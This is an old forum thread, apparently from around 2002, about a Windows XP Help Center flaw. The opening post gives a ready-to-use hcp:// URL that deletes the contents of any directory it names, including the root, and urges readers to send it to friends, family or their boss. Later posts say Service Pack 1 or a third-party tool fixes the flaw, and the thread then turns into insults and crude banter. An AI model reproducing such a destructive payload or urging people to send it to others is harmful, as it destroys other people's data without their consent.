Registered: Jul 2000
Location: Minneapolis, MN
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from http://www.penismightier.com/main.html

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Sorry this is a cool trick for the kids running XP. Sorry win2k people if you want this you'll have to upgrade.

Danke to dave from the msg brd for giving a heads up to this article on the reg. It seems that a misdirected Help Center request can delete the contents of any directory on your machine, yes that means even the root.

hcp://system/DFS/ uplddrvinfo.htm?file://c:\test\

*Beautiful isn't it? Just plug it into your browser. The c:\test\ part would be the dir your deleting, if you want to play around with this please make sure you don't delete your root. Hell send it to your friends, your mom, your boss, it might make some folks wake up about XP.
The beautiful part is there is a fix, that fix is in SP1. Whats wrong with SP1? Nothing more than it gives Microsoft root privileges via the new EULA and not to mention setting things like MSN messenger (and other MS services) in stone.... [more ranting here]

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Registered: Nov 2000
Location: UK
Posts: 4737

Yes, it's real. It's fixed with Service Pack 1, but if you're one of the silly kids with a pirated key, you're in for a little surprise when you install the Service Pack

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Registered: Jul 2000
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Originally posted by Dingle
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Registered: Jul 2000
Location: Beatrice, Nebraska
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Caff posted something about it, although being the dork he is he wouldn't go into any sort of detail at all. Wouldn't even really explain it, just threw up some links and stuff.

Thank goodness I got rid of XP!

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Registered: Jan 2001
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"Wouldn't even really explain it, just threw up some links and stuff."
- He's just trying to be like gary.

Registered: Aug 2000
Location: Cambridge
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You don't even know what you are talking about.
You're an idiot, Marine.

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You betcha, kiddo.

Registered: Aug 2000
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Finally.
Would you make a comment if I mentioned I first saw it on Bugtraq?

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Yes, how do you think gary gets his "inside information" which has so impressed Dingle, thus far?

Registered: Jul 2000
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gary knows all, sees all

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Registered: Feb 2001
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This exploit has been around and known for awhile. Bugtraq is cool. Sure, you can install SP1, or you could just go to

http://grc.com/xpdite/xpdite.htm

which is Steve Gibson's Website and download his little 30k tool that fixes it for you.

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Registered: Jan 2001
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Gibson is laughing stock.

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So are you, Wraith. So are you.

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Registered: Jan 2001
Location: WDM, IA
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Not even.

Registered: Jan 2001
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SP1, installed, XP, pirated. Yeah, I'm in for a big suprise.

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Registered: Jan 2001
Location: library
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Hey after running SP1 for a while, I gotta say, it runs better than ever, faster, smoother and even more stable. Now, where's that longhorn, I wanna fuck with it.

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Registered: Aug 2000
Location: Cambridge
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Get the fuck away from the longhorn, skinny.

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